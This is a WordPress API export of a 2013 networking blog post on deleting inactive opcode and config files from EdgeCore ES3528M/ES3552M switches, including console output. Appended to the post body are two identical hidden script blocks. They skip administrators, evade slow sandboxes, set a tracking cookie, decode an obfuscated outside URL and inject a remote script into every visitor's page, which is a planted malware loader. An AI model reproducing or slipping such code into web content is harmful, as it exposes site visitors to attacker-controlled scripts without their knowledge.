{"id":225,"date":"2013-05-30T12:01:39","date_gmt":"2013-05-30T10:01:39","guid":{"rendered":"http:\/\/blog.it-admin.sk\/?p=225"},"modified":"2025-10-27T02:25:09","modified_gmt":"2025-10-27T01:25:09","slug":"rychlovka-odstranenie-nepotrebnych-suborov-na-es3528_52m","status":"publish","type":"post","link":"https:\/\/blog.it-admin.sk\/en\/2013\/05\/rychlovka-odstranenie-nepotrebnych-suborov-na-es3528_52m\/","title":{"rendered":"Quickie: Delete unused files on ES3528_52M"},"content":{"rendered":"<p>In our network we have deployed dozens of EdgeCore ES3528M\/ES3552M switches. However, after frequent upgrades and configuration changes, often happens that old config files, opcodes, boot-roms will remain int the flash memory and are no longer needed. Fortunately, since opcode version 1.4.4.0 there is command available which deletes all inactive files from flash memory. Unfortunately, it lacks invocation of command via SNMP but surely it will be added over time.<\/p>\n<pre>\nConsole#dir                                                                     \n          File name                        File type       Startup Size (byte)  \n -------------------------------------     --------------  ------- -----------  \n Unit1:                                                                         \n          ES3528_52M_diag_V1.0.0.8.bix     Boot-Rom Image  Y          1382696   \n          ES3528_52M_opcode_V1.4.4.0.bix   Operation Code  Y          4706820   \n          opcode_v1.1.3.7.bix              Operation Code  N          3848904   \n          Factory_Default_Config.cfg       Config File     N              455   \n          snspsobm63.cfg                   Config File     N             6763   \n          startup1.cfg                     Config File     Y             4721   \n ---------------------------------------------------------------------------    \n                                                  Total free space:   5111808   \n<\/pre>\n<p>We have several unused files in flash memory. So, we delete it.<\/p>\n<pre>      \nConsole#delete non-active                                                       \nAre you sure to delete non-active file(s)? [Y]es\/[N]o: y                        \n                                                                                \n Unit 1:                                                                        \n      Factory Default Configuration file couldn't be deleted.                   \n      Success to delete [opcode_v1.1.3.7.bix]                                   \n      Success to delete [snspsobm63.cfg]                                        \nConsole#\n<\/pre>\n<p>Done. Now we have just needed files in our flash memory.<\/p>\n<pre>\nConsole#dir                                                                     \n          File name                        File type       Startup Size (byte)  \n -------------------------------------     --------------  ------- -----------  \n Unit1:                                                                         \n          ES3528_52M_diag_V1.0.0.8.bix     Boot-Rom Image  Y          1382696   \n          ES3528_52M_opcode_V1.4.4.0.bix   Operation Code  Y          4706820   \n          Factory_Default_Config.cfg       Config File     N              455   \n          startup1.cfg                     Config File     Y             4721   \n ---------------------------------------------------------------------------    \n                                                  Total free space:   9175040   \n<\/pre>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>In our network we have deployed dozens of EdgeCore ES3528M\/ES3552M switches. However, after frequent upgrades and configuration changes, often happens that old config files, opcodes, boot-roms will remain int the flash memory and are no longer needed. Fortunately, since opcode version 1.4.4.0 there is command available which deletes all inactive &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[18],"tags":[],"class_list":["post-225","post","type-post","status-publish","format-standard","hentry","category-networking"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/posts\/225","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/comments?post=225"}],"version-history":[{"count":4,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/posts\/225\/revisions"}],"predecessor-version":[{"id":677,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/posts\/225\/revisions\/677"}],"wp:attachment":[{"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/media?parent=225"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/categories?post=225"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/tags?post=225"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}